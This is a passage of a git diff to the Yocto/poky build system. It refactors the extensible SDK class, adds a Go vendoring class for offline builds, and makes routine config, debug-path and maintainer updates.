# Write out config file for devtool
import configparser
config = configparser.ConfigParser()
@@ -247,10 +239,12 @@ python copy_buildsystem () {
with open(os.path.join(baseoutpath, 'conf', 'devtool.conf'), 'w') as f:
config.write(f)
+def write_unlocked_sigs(d, baseoutpath):
unlockedsigs = os.path.join(baseoutpath, 'conf', 'unlocked-sigs.inc')
with open(unlockedsigs, 'w') as f:
pass
+def write_bblayers_conf(d, baseoutpath, sdkbblayers):
# Create a layer for new recipes / appends
bbpath = d.getVar('BBPATH')
env = os.environ.copy()
@@ -279,6 +273,9 @@ python copy_buildsystem () {
f.write(' $' + '{SDKBASEMETAPATH}/workspace \\\n')
f.write(' "\n')
+def copy_uninative(d, baseoutpath):
+ import shutil
+
# Copy uninative tarball
# For now this is where uninative.bbclass expects the tarball
if bb.data.inherits_class('uninative', d):
@@ -288,6 +285,12 @@ python copy_buildsystem () {
bb.utils.mkdirhier(uninative_outdir)
shutil.copy(uninative_file, uninative_outdir)
+ return uninative_checksum
+
+def write_local_conf(d, baseoutpath, derivative, core_meta_subdir, uninative_checksum):
+ #check if custome templateconf path is set
+ use_custom_templateconf = d.getVar('SDK_CUSTOM_TEMPLATECONF')
+
env_passthrough = (d.getVar('BB_ENV_PASSTHROUGH_ADDITIONS') or '').split()
env_passthrough_values = {}
@@ -457,6 +460,9 @@ python copy_buildsystem () {
f.write(line)
f.write('\n')
+def prepare_locked_cache(d, baseoutpath, derivative, conf_initpath):
+ import shutil
+
# Filter the locked signatures file to just the sstate tasks we are interested in
excluded_targets = get_sdk_install_targets(d, images_only=True)
sigfile = d.getVar('WORKDIR') + '/locked-sigs.inc'
@@ -560,6 +566,9 @@ python copy_buildsystem () {
f = os.path.join(root, name)
os.remove(f)
+def write_manifest(d, baseoutpath):
+ import glob
+
# Write manifest file
# Note: at the moment we cannot include the env setup script here to keep
# it updated, since it gets modified during SDK installation (see
@@ -583,6 +592,32 @@ python copy_buildsystem () {
continue
chksum = bb.utils.sha256_file(fn)
f.write('%s\t%s\n' % (chksum, os.path.relpath(fn, baseoutpath)))
+
+
+python copy_buildsystem () {
+ import oe.copy_buildsystem
+
+ baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
+
+ # Determine if we're building a derivative extensible SDK (from devtool build-sdk)
+ derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
+
+ conf_initpath, conf_bbpath, core_meta_subdir, sdkbblayers = copy_bitbake_and_layers(d, baseoutpath, derivative)
+
+ write_devtool_config(d, baseoutpath, conf_bbpath, conf_initpath, core_meta_subdir)
+
+ write_unlocked_sigs(d, baseoutpath)
+
+ write_bblayers_conf(d, baseoutpath, sdkbblayers)
+
+ uninative_checksum = copy_uninative(d, baseoutpath)
+
+ write_local_conf(d, baseoutpath, derivative, core_meta_subdir, uninative_checksum)
+
+ prepare_locked_cache(d, baseoutpath, derivative, conf_initpath)
+
+ write_manifest(d, baseoutpath)
+
}
def get_current_buildtools(d):
@@ -627,21 +662,6 @@ def get_sdk_required_utilities(buildtools_fn, d):
return ' '.join(sanity_required_utilities)
install_tools() {
- install -d ${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}
- scripts="devtool recipetool oe-find-native-sysroot runqemu* wic"
- for script in $scripts; do
- for scriptfn in `find ${SDK_OUTPUT}/${SDKPATH}/${scriptrelpath} -maxdepth 1 -executable -name "$script"`; do
- targetscriptfn="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/$(basename $scriptfn)"
- test -e ${targetscriptfn} || ln -rs ${scriptfn} ${targetscriptfn}
- done
- done
- # We can't use the same method as above because files in the sysroot won't exist at this point
- # (they get populated from sstate on installation)
- unfsd_path="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/unfsd"
- if [ "${SDK_INCLUDE_TOOLCHAIN}" = "1" -a ! -e $unfsd_path ] ; then
- binrelpath=${@os.path.relpath(d.getVar('STAGING_BINDIR_NATIVE'), d.getVar('TMPDIR'))}
- ln -rs ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
- fi
touch ${SDK_OUTPUT}/${SDKPATH}/.devtoolbase
# find latest buildtools-tarball and install it
@@ -720,7 +740,7 @@ sdk_ext_postinst() {
# A bit of another hack, but we need this in the path only for devtool
# so put it at the end of $PATH.
- echo "export PATH=\"$target_sdk_dir/sysroots/${SDK_SYS}${bindir_nativesdk}:\$PATH\"" >> $env_setup_script
+ echo "export PATH=\"$target_sdk_dir/${esdk_tools_path}:\$PATH\"" >> $env_setup_script
echo "printf 'SDK environment now set up; additionally you may now run devtool to perform development tasks.\nRun devtool --help for further details.\n'" >> $env_setup_script
diff --git a/poky/meta/classes-recipe/qemuboot.bbclass b/poky/meta/classes-recipe/qemuboot.bbclass
index 5c4bbd6737..ff32aac902 100644
--- a/poky/meta/classes-recipe/qemuboot.bbclass
+++ b/poky/meta/classes-recipe/qemuboot.bbclass
@@ -62,8 +62,8 @@
# QB_SLIRP_OPT: network option for SLIRP mode, e.g., -netdev user,id=net0"
#
# QB_CMDLINE_IP_SLIRP: If QB_NETWORK_DEVICE adds more than one network interface to qemu, usually the
-# ip= kernel comand line argument needs to be changed accordingly. Details are documented
-# in the kernel docuemntation https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt
+# ip= kernel command line argument needs to be changed accordingly. Details are documented
+# in the kernel documentation https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt
# Example to configure only the first interface: "ip=eth0:dhcp"
# QB_CMDLINE_IP_TAP: This parameter is similar to the QB_CMDLINE_IP_SLIRP parameter. Since the tap interface requires
# static IP configuration @CLIENT@ and @GATEWAY@ place holders are replaced by the IP and the gateway
diff --git a/poky/meta/classes-recipe/rootfs-postcommands.bbclass b/poky/meta/classes-recipe/rootfs-postcommands.bbclass
index 06388b72fb..29ee74932a 100644
--- a/poky/meta/classes-recipe/rootfs-postcommands.bbclass
+++ b/poky/meta/classes-recipe/rootfs-postcommands.bbclass
@@ -241,10 +241,10 @@ read_only_rootfs_hook () {
#
zap_empty_root_password () {
if [ -e ${IMAGE_ROOTFS}/etc/shadow ]; then
- sed -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/shadow
+ sed --follow-symlinks -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/shadow
fi
if [ -e ${IMAGE_ROOTFS}/etc/passwd ]; then
- sed -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/passwd
+ sed --follow-symlinks -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/passwd
fi
}
diff --git a/poky/meta/classes-recipe/rust-common.bbclass b/poky/meta/classes-recipe/rust-common.bbclass
index 878272721c..3d73a370ec 100644
--- a/poky/meta/classes-recipe/rust-common.bbclass
+++ b/poky/meta/classes-recipe/rust-common.bbclass
@@ -14,7 +14,7 @@ FILES:${PN}-dev += "${rustlibdir}/*.rlib ${rustlibdir}/*.rmeta"
FILES:${PN}-dbg += "${rustlibdir}/.debug"
RUSTLIB = "-L ${STAGING_DIR_HOST}${rustlibdir}"
-RUST_DEBUG_REMAP = "--remap-path-prefix=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+RUST_DEBUG_REMAP = "--remap-path-prefix=${WORKDIR}=${TARGET_DBGSRC_DIR}"
RUSTFLAGS += "${RUSTLIB} ${RUST_DEBUG_REMAP}"
RUSTLIB_DEP ?= "libstd-rs"
RUST_PANIC_STRATEGY ?= "unwind"
diff --git a/poky/meta/classes/cve-check.bbclass b/poky/meta/classes/cve-check.bbclass
index b55f4299da..5191d04303 100644
--- a/poky/meta/classes/cve-check.bbclass
+++ b/poky/meta/classes/cve-check.bbclass
@@ -138,6 +138,8 @@ def generate_json_report(d, out_path, link_path):
cve_check_merge_jsons(summary, data)
filename = f.readline()
+ summary["package"].sort(key=lambda d: d['name'])
+
with open(out_path, "w") as f:
json.dump(summary, f, indent=2)
diff --git a/poky/meta/classes/go-vendor.bbclass b/poky/meta/classes/go-vendor.bbclass
new file mode 100644
index 0000000000..2426bddfba
--- /dev/null
+++ b/poky/meta/classes/go-vendor.bbclass
@@ -0,0 +1,196 @@
+#
+# Copyright 2023 (C) Weidmueller GmbH & Co KG
+# Author: Lukas Funke <lukas.funke@weidmueller.com>
+#
+# Handle Go vendor support for offline builds
+#
+# When importing Go modules, Go downloads the imported modules using
+# a network (proxy) connection ahead of the compile stage. This contradicts
+# the yocto build concept of fetching every source ahead of build-time
+# and supporting offline builds.
+#
+# To support offline builds, we use Go 'vendoring': module dependencies are
+# downloaded during the fetch-phase and unpacked into the modules 'vendor'
+# folder. Additionally a manifest file is generated for the 'vendor' folder
+#
+
+inherit go-mod
+
+def go_src_uri(repo, version, path=None, subdir=None, \
+ vcs='git', replaces=None, pathmajor=None):
+
+ destsuffix = "git/src/import/vendor.fetch"
+ module_path = repo if not path else path
+
+ src_uri = "{}://{};name={}".format(vcs, repo, module_path.replace('/', '.'))
+ src_uri += ";destsuffix={}/{}@{}".format(destsuffix, repo, version)
+
+ if vcs == "git":
+ src_uri += ";nobranch=1;protocol=https"
+
+ src_uri += ";go_module_path={}".format(module_path)
+
+ if replaces:
+ src_uri += ";go_module_replacement={}".format(replaces)
+ if subdir:
+ src_uri += ";go_subdir={}".format(subdir)
+ if pathmajor:
+ src_uri += ";go_pathmajor={}".format(pathmajor)
+ src_uri += ";is_go_dependency=1"
+
+ return src_uri
+
+python do_vendor_unlink() {
+ go_import = d.getVar('GO_IMPORT')
+ source_dir = d.getVar('S')
+ linkname = os.path.join(source_dir, *['src', go_import, 'vendor'])
+
+ os.unlink(linkname)
+}
+
+addtask vendor_unlink before do_install after do_compile
+
+python do_go_vendor() {
+ import shutil
+
+ src_uri = (d.getVar('SRC_URI') or "").split()
+
+ if not src_uri:
+ bb.fatal("SRC_URI is empty")
+
+ default_destsuffix = "git/src/import/vendor.fetch"
+ fetcher = bb.fetch2.Fetch(src_uri, d)
+ go_import = d.getVar('GO_IMPORT')
+ source_dir = d.getVar('S')
+
+ linkname = os.path.join(source_dir, *['src', go_import, 'vendor'])
+ vendor_dir = os.path.join(source_dir, *['src', 'import', 'vendor'])
+ import_dir = os.path.join(source_dir, *['src', 'import', 'vendor.fetch'])
+
+ if os.path.exists(vendor_dir):
+ # Nothing to do except re-establish link to actual vendor folder
+ if not os.path.exists(linkname):
+ os.symlink(vendor_dir, linkname)
+ return
+
+ bb.utils.mkdirhier(vendor_dir)
+
+ modules = {}
+
+ for url in fetcher.urls:
+ srcuri = fetcher.ud[url].host + fetcher.ud[url].path
+
+ # Skip non Go module src uris
+ if not fetcher.ud[url].parm.get('is_go_dependency'):
+ continue
+
+ destsuffix = fetcher.ud[url].parm.get('destsuffix')
+ # We derive the module repo / version in the following manner (exmaple):
+ #
+ # destsuffix = git/src/import/vendor.fetch/github.com/foo/bar@v1.2.3
+ # p = github.com/foo/bar@v1.2.3
+ # repo = github.com/foo/bar
+ # version = v1.2.3
+
+ p = destsuffix[len(default_destsuffix)+1:]
+ repo, version = p.split('@')
+
+ module_path = fetcher.ud[url].parm.get('go_module_path')
+
+ subdir = fetcher.ud[url].parm.get('go_subdir')
+ subdir = None if not subdir else subdir
+
+ pathMajor = fetcher.ud[url].parm.get('go_pathmajor')
+ pathMajor = None if not pathMajor else pathMajor.strip('/')
+
+ if not repo in modules:
+ modules[repo] = { "version": version,
+ "repo_path": os.path.join(import_dir, p),
+ "module_path": module_path,
+ "subdir": subdir,
+ "pathMajor": pathMajor }
+
+ for module_key in sorted(modules):
+
+ # only take the version which is explicitly listed
+ # as a dependency in the go.mod
+ module = modules[module_key]
+ module_path = module['module_path']
+ rootdir = module['repo_path']
+ subdir = module['subdir']
+ pathMajor = module['pathMajor']
+
+ src = rootdir
+
+ if subdir:
+ src = os.path.join(rootdir, subdir)
+
+ # If the module is released at major version 2 or higher, the module
+ # path must end with a major version suffix like /v2.
+ # This may or may not be part of the subdirectory name
+ #
+ # https://go.dev/ref/mod#modules-overview
+ if pathMajor:
+ tmp = os.path.join(src, pathMajor)
+ # source directory including major version path may or may not exist
+ if os.path.exists(tmp):
+ src = tmp
+
+ dst = os.path.join(vendor_dir, module_path)
+
+ bb.debug(1, "cp %s --> %s" % (src, dst))
+ shutil.copytree(src, dst, symlinks=True, \
+ ignore=shutil.ignore_patterns(".git", \
+ "vendor", \
+ "*._test.go"))
+
+ # If the root directory has a LICENSE file but not the subdir
+ # we copy the root license to the sub module since the license
+ # applies to all modules in the repository
+ # see https://go.dev/ref/mod#vcs-license
+ if subdir:
+ rootdirLicese = os.path.join(rootdir, "LICENSE")
+ subdirLicense = os.path.join(src, "LICENSE")
+
+ if not os.path.exists(subdir) and \
+ os.path.exists(rootdirLicese):
+ shutil.copy2(rootdirLicese, subdirLicense)
+
+ # Copy vendor manifest
+ modules_txt_src = os.path.join(d.getVar('WORKDIR'), "modules.txt")
+ bb.debug(1, "cp %s --> %s" % (modules_txt_src, vendor_dir))
+ shutil.copy2(modules_txt_src, vendor_dir)
+
+ # Clean up vendor dir
+ # We only require the modules in the modules_txt file
+ fetched_paths = set([os.path.relpath(x[0], vendor_dir) for x in os.walk(vendor_dir)])
+
+ # Remove toplevel dir
+ fetched_paths.remove('.')
+
+ vendored_paths = set()
+ with open(modules_txt_src) as f:
+ for line in f:
+ if not line.startswith("#"):
+ line = line.strip()
+ vendored_paths.add(line)
+
+ # Add toplevel dirs into vendored dir, as we want to keep them
+ topdir = os.path.dirname(line)
+ while len(topdir):
+ if not topdir in vendored_paths:
+ vendored_paths.add(topdir)
+
+ topdir = os.path.dirname(topdir)
+
+ for path in fetched_paths:
+ if path not in vendored_paths:
+ realpath = os.path.join(vendor_dir, path)
+ if os.path.exists(realpath):
+ shutil.rmtree(realpath)
+
+ # Create a symlink the the actual directory
+ os.symlink(vendor_dir, linkname)
+}
+
+addtask go_vendor before do_patch after do_unpack
diff --git a/poky/meta/classes/useradd_base.bbclass b/poky/meta/classes/useradd_base.bbclass
index 863cb7b76c..5e1c699118 100644
--- a/poky/meta/classes/useradd_base.bbclass
+++ b/poky/meta/classes/useradd_base.bbclass
@@ -160,7 +160,7 @@ perform_passwd_expire () {
local username=`echo "$opts" | awk '{ print $NF }'`
local user_exists="`grep "^$username:" $rootdir/etc/passwd || true`"
if test "x$user_exists" != "x"; then
- eval flock -x $rootdir${sysconfdir} -c \"$PSEUDO sed -i \''s/^\('$username':[^:]*\):[^:]*:/\1:0:/'\' $rootdir/etc/shadow \" || true
+ eval flock -x $rootdir${sysconfdir} -c \"$PSEUDO sed --follow-symlinks -i \''s/^\('$username':[^:]*\):[^:]*:/\1:0:/'\' $rootdir/etc/shadow \" || true
local passwd_lastchanged="`grep "^$username:" $rootdir/etc/shadow | cut -d: -f3`"
if test "x$passwd_lastchanged" != "x0"; then
bbfatal "${PN}: passwd --expire operation did not succeed."
diff --git a/poky/meta/conf/bitbake.conf b/poky/meta/conf/bitbake.conf
index 77ff494523..983987cf7e 100644
--- a/poky/meta/conf/bitbake.conf
+++ b/poky/meta/conf/bitbake.conf
@@ -46,7 +46,6 @@ export sbindir = "${exec_prefix}/sbin"
export libdir = "${exec_prefix}/${baselib}"
export libexecdir = "${exec_prefix}/libexec"
export includedir = "${exec_prefix}/include"
-export oldincludedir = "${exec_prefix}/include"
localedir = "${libdir}/locale"
# Linkage between native/cross/nativesdk layouts
@@ -444,7 +443,6 @@ STAGING_DIR_TARGET = "${RECIPE_SYSROOT}"
# Setting DEPLOY_DIR outside of TMPDIR is helpful, when you are using
# packaged staging and/or multimachine.
DEPLOY_DIR ?= "${TMPDIR}/deploy"
-DEPLOY_DIR_TAR = "${DEPLOY_DIR}/tar"
DEPLOY_DIR_IPK = "${DEPLOY_DIR}/ipk"
DEPLOY_DIR_RPM = "${DEPLOY_DIR}/rpm"
DEPLOY_DIR_DEB = "${DEPLOY_DIR}/deb"
@@ -554,7 +552,7 @@ TOOLCHAIN_OPTIONS = " --sysroot=${STAGING_DIR_TARGET}"
export CC = "${CCACHE}${HOST_PREFIX}gcc ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
export CXX = "${CCACHE}${HOST_PREFIX}g++ ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
-export FC = "${CCACHE}${HOST_PREFIX}gfortran ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
+export FC = "${HOST_PREFIX}gfortran ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}"
export CPP = "${HOST_PREFIX}gcc -E${TOOLCHAIN_OPTIONS} ${HOST_CC_ARCH}"
export LD = "${HOST_PREFIX}ld${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}"
export CCLD = "${CC}"
@@ -571,7 +569,7 @@ PYTHON = "${@sys.executable}"
export BUILD_CC = "${CCACHE}${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
export BUILD_CXX = "${CCACHE}${BUILD_PREFIX}g++ ${BUILD_CC_ARCH}"
-export BUILD_FC = "${CCACHE}${BUILD_PREFIX}gfortran ${BUILD_CC_ARCH}"
+export BUILD_FC = "${BUILD_PREFIX}gfortran ${BUILD_CC_ARCH}"
export BUILD_CPP = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH} -E"
export BUILD_LD = "${BUILD_PREFIX}ld ${BUILD_LD_ARCH}"
export BUILD_CCLD = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
@@ -647,12 +645,13 @@ EXTRA_OEMAKE:prepend:task-install = "${PARALLEL_MAKEINST} "
##################################################################
# Optimization flags.
##################################################################
+TARGET_DBGSRC_DIR ?= "/usr/src/debug/${PN}/${PV}"
# Beware: applied last to first
DEBUG_PREFIX_MAP ?= "-fcanon-prefix-map \
- -fmacro-prefix-map=${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
- -fdebug-prefix-map=${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
- -fmacro-prefix-map=${B}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
- -fdebug-prefix-map=${B}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
+ -fmacro-prefix-map=${S}=${TARGET_DBGSRC_DIR} \
+ -fdebug-prefix-map=${S}=${TARGET_DBGSRC_DIR} \
+ -fmacro-prefix-map=${B}=${TARGET_DBGSRC_DIR} \
+ -fdebug-prefix-map=${B}=${TARGET_DBGSRC_DIR} \
-fdebug-prefix-map=${STAGING_DIR_HOST}= \
-fmacro-prefix-map=${STAGING_DIR_HOST}= \
-fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
@@ -935,6 +934,7 @@ BB_DEFAULT_UMASK ??= "022"
# Complete output from bitbake
BB_CONSOLELOG ?= "${LOG_DIR}/cooker/${MACHINE}/${DATETIME}.log"
+BB_DEFAULT_EVENTLOG ?= "${LOG_DIR}/eventlog/${DATETIME}.json"
# Setup our default hash policy
BB_SIGNATURE_HANDLER ?= "OEBasicHash"
diff --git a/poky/meta/conf/ccache.conf b/poky/meta/conf/ccache.conf
index 931012dec9..4406ae561b 100644
--- a/poky/meta/conf/ccache.conf
+++ b/poky/meta/conf/ccache.conf
@@ -1,2 +1 @@
max_size = 0
-cache_dir_levels = 1
diff --git a/poky/meta/conf/distro/include/maintainers.inc b/poky/meta/conf/distro/include/maintainers.inc
index b2579fc44c..2c59db56ac 100644
--- a/poky/meta/conf/distro/include/maintainers.inc
+++ b/poky/meta/conf/distro/include/maintainers.inc
@@ -320,7 +320,6 @@ RECIPE_MAINTAINER:pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
RECIPE_MAINTAINER:pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
RECIPE_MAINTAINER:pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
RECIPE_MAINTAINER:pn-libconvert-asn1-perl = "Tim Orling <tim.orling@konsulko.com>"
-RECIPE_MAINTAINER:pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
RECIPE_MAINTAINER:pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
RECIPE_MAINTAINER:pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
RECIPE_MAINTAINER:pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
@@ -838,6 +837,7 @@ RECIPE_MAINTAINER:pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
RECIPE_MAINTAINER:pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
RECIPE_MAINTAINER:pn-vulkan-samples = "Ross Burton <ross.burton@arm.com>"
RECIPE_MAINTAINER:pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-utility-libraries = "Anuj Mittal <anuj.mittal@intel.com>"
RECIPE_MAINTAINER:pn-vulkan-validation-layers = "Vincent Davis Jr <vince@underview.tech>"
RECIPE_MAINTAINER:pn-waffle = "Ross Burton <ross.burton@arm.com>"
RECIPE_MAINTAINER:pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
diff --git a/poky/meta/conf/distro/include/ptest-packagelists.inc b/poky/meta/conf/distro/include/ptest-packagelists.inc
index fc42f95de2..7ca23cb4f0 100644
--- a/poky/meta/conf/distro/include/ptest-packagelists.inc
+++ b/poky/meta/conf/distro/include/ptest-packagelists.inc
@@ -121,6 +121,8 @@ PTESTS_SLOW = "\
PTESTS_SLOW:remove:riscv64 = "valgrind"
PTESTS_PROBLEMS:append:riscv64 = " valgrind"
+PTESTS_SLOW:remove:riscv32 = "lttng-tools strace valgrind"
+PTESTS_PROBLEMS:append:riscv32 = " lttng-tools strace valgrind"
PTESTS_SLOW:append:libc-musl = " libc-test"
PTESTS_SLOW:remove:x86 = "valgrind"
PTESTS_PROBLEMS:append:x86 = " valgrind"
diff --git a/poky/meta/conf/distro/include/security_flags.inc b/poky/meta/conf/distro/include/security_flags.inc
index 2972f05b4e..d97a6edb0f 100644
--- a/poky/meta/conf/distro/include/security_flags.inc
+++ b/poky/meta/conf/distro/include/security_flags.inc
@@ -69,4 +69,3 @@ SECURITY_LDFLAGS:pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
TARGET_CC_ARCH:append:pn-binutils = " ${SELECTED_OPTIMIZATION}"
TARGET_CC_ARCH:append:pn-gcc = " ${SELECTED_OPTIMIZATION}"
TARGET_CC_ARCH:append:pn-gdb = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH:append:pn-perf = " ${SELECTED_OPTIMIZATION}"
diff --git a/poky/meta/conf/documentation.conf b/poky/meta/conf/documentation.conf
index 23a9c0fe7b..d03c497c0e 100644
--- a/poky/meta/conf/documentation.conf
+++ b/poky/meta/conf/documentation.conf
@@ -379,7 +379,6 @@ SDKMACHINE[doc] = "Specifies the architecture (i.e. i686 or x86_64) for which to
SECTION[doc] = "The section in which packages should be categorized. Package management utilities can make use of this variable."
SELECTED_OPTIMIZATION[doc] = "The variable takes the value of FULL_OPTIMIZATION unless DEBUG_BUILD = '1'. In this case, the value of DEBUG_OPTIMIZATION is used."
SERIAL_CONSOLES[doc] = "Defines the serial consoles (TTYs) to enable using getty."
-SERIAL_CONSOLES_CHECK[doc] = "Similar to SERIAL_CONSOLES except the device is checked for existence before attempting to enable it. Supported only by SysVinit."
SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS[doc] = "A list of recipe dependencies that should not be used to determine signatures of tasks from one recipe when they depend on tasks from another recipe."
SIGGEN_EXCLUDERECIPES_ABISAFE[doc] = "A list of recipes that are completely stable and will never change."
SITEINFO_BITS[doc] = "Specifies the number of bits for the target system CPU."
diff --git a/poky/meta/conf/layer.conf b/poky/meta/conf/layer.conf
index 9b94bbd8b3..bb8b1c81b1 100644
--- a/poky/meta/conf/layer.conf
+++ b/poky/meta/conf/layer.conf
@@ -7,7 +7,7 @@ BBFILE_COLLECTIONS += "core"
BBFILE_PATTERN_core = "^${LAYERDIR}/"
BBFILE_PRIORITY_core = "5"
-LAYERSERIES_CORENAMES = "nanbield mickledore"
+LAYERSERIES_CORENAMES = "nanbield"
# This should only be incremented on significant changes that will
# cause compatibility issues with other layers
diff --git a/poky/meta/conf/machine-sdk/riscv64.conf b/poky/meta/conf/machine-sdk/riscv64.conf
new file mode 100644
index 0000000000..3f4a5af0af
--- /dev/null
+++ b/poky/meta/conf/machine-sdk/riscv64.conf
@@ -0,0 +1,2 @@
+SDK_ARCH = "riscv64"
+ABIEXTENSION:class-nativesdk = ""
diff --git a/poky/meta/conf/machine/include/riscv/qemuriscv.inc b/poky/meta/conf/machine/include/riscv/qemuriscv.inc
index 46ae66b9e5..7024bd0a4e 100644
--- a/poky/meta/conf/machine/include/riscv/qemuriscv.inc
+++ b/poky/meta/conf/machine/include/riscv/qemuriscv.inc
@@ -3,7 +3,7 @@ PREFERRED_PROVIDER_virtual/bootloader ?= "u-boot"
require conf/machine/include/qemu.inc
require conf/machine/include/riscv/tune-riscv.inc
-MACHINE_FEATURES = "screen keyboard ext2 ext3 serial"
+MACHINE_FEATURES += "keyboard ext2 ext3 serial"
KERNEL_IMAGETYPE = "Image"
KERNEL_IMAGETYPES += "uImage"
diff --git a/poky/meta/conf/machine/qemuarmv5.conf b/poky/meta/conf/machine/qemuarmv5.conf
index f0a86f1e4c..ecd2873d91 100644
--- a/poky/meta/conf/machine/qemuarmv5.conf
+++ b/poky/meta/conf/machine/qemuarmv5.conf
@@ -14,6 +14,6 @@ QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine versatilepb"
QB_GRAPHICS = "-device virtio-gpu-pci"
QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
-QB_DTB = "${@oe.utils.version_less_or_equal('PREFERRED_VERSION_linux-yocto', '4.7', '', 'zImage-versatile-pb.dtb', d)}"
+QB_DTB ?= "zImage-versatile-pb.dtb"
KMACHINE:qemuarmv5 = "arm-versatile-926ejs"
diff --git a/poky/meta/files/fs-perms-persistent-log.txt b/poky/meta/files/fs-perms-persistent-log.txt
index 518c1be3c9..61f0a6e26a 100644
--- a/poky/meta/files/fs-perms-persistent-log.txt
+++ b/poky/meta/files/fs-perms-persistent-log.txt
@@ -38,7 +38,6 @@ ${datadir}/locale 0755 root root true 0644 root root
# Cleanup headers
${includedir} 0755 root root true 0644 root root
-${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
/usr/src/debug 0755 root root true 0644 root root
diff --git a/poky/meta/files/fs-perms.txt b/poky/meta/files/fs-perms.txt
index daa4aed840..48191f504c 100644
--- a/poky/meta/files/fs-perms.txt
+++ b/poky/meta/files/fs-perms.txt
@@ -38,7 +38,6 @@ ${datadir}/locale 0755 root root true 0644 root root
# Cleanup headers
${includedir} 0755 root root true 0644 root root
-${oldincludedir} 0755 root root true 0644 root root
# Cleanup debug src
/usr/src/debug 0755 root root true 0644 root root
diff --git a/poky/meta/lib/bblayers/setupwriters/oe-setup-layers.py b/poky/meta/lib/bblayers/setupwriters/oe-setup-layers.py
index d5bc19a8cb..bd71ca1f51 100644
--- a/poky/meta/lib/bblayers/setupwriters/oe-setup-layers.py
+++ b/poky/meta/lib/bblayers/setupwriters/oe-setup-layers.py
@@ -45,7 +45,7 @@ class OeSetupLayersWriter():
logger.info('Created {}.json'.format(output))
if not args.json_only:
self._write_python(os.path.join(os.path.dirname(__file__),'../../../../scripts/oe-setup-layers'), output)
- logger.info('Created {}'.format(output))
+ logger.info('Created {}'.format(output))
def register_arguments(self, parser):
parser.add_argument('--json-only', action='store_true',
diff --git a/poky/meta/lib/oe/__init__.py b/poky/meta/lib/oe/__init__.py
index da7cbab308..6eb536ad28 100644
--- a/poky/meta/lib/oe/__init__.py
+++ b/poky/meta/lib/oe/__init__.py
@@ -9,4 +9,4 @@ __path__ = extend_path(__path__, __name__)
BBIMPORTS = ["data", "path", "utils", "types", "package", "packagedata", \
"packagegroup", "sstatesig", "lsb", "cachedpath", "license", \
- "qa", "reproducible", "rust", "buildcfg"]
+ "qa", "reproducible", "rust", "buildcfg", "go"]
diff --git a/poky/meta/lib/oe/buildcfg.py b/poky/meta/lib/oe/buildcfg.py
index 90f5e05715..b3fe510309 100644
--- a/poky/meta/lib/oe/buildcfg.py
+++ b/poky/meta/lib/oe/buildcfg.py
@@ -1,26 +1,27 @@
+import os
import subprocess
import bb.process
def detect_revision(d):
path = get_scmbasepath(d)
- return get_metadata_git_revision(path, d)
+ return get_metadata_git_revision(path)
def detect_branch(d):
path = get_scmbasepath(d)
- return get_metadata_git_branch(path, d)
+ return get_metadata_git_branch(path)
def get_scmbasepath(d):
return os.path.join(d.getVar('COREBASE'), 'meta')
-def get_metadata_git_branch(path, d):
+def get_metadata_git_branch(path):
try:
rev, _ = bb.process.run('git rev-parse --abbrev-ref HEAD', cwd=path)
except bb.process.ExecutionError:
rev = '<unknown>'
return rev.strip()
-def get_metadata_git_revision(path, d):
+def get_metadata_git_revision(path):
try:
rev, _ = bb.process.run('git rev-parse HEAD', cwd=path)
except bb.process.ExecutionError:
@@ -45,5 +46,5 @@ def get_layer_revisions(d):
layers = (d.getVar("BBLAYERS") or "").split()
revisions = []
for i in layers:
- revisions.append((i, os.path.basename(i), get_metadata_git_branch(i, None).strip(), get_metadata_git_revision(i, None), is_layer_modified(i)))
+ revisions.append((i, os.path.basename(i), get_metadata_git_branch(i).strip(), get_metadata_git_revision(i), is_layer_modified(i)))
return revisions
diff --git a/poky/meta/lib/oe/copy_buildsystem.py b/poky/meta/lib/oe/copy_buildsystem.py
index a0d829054e..81abfbf9e2 100644
--- a/poky/meta/lib/oe/copy_buildsystem.py
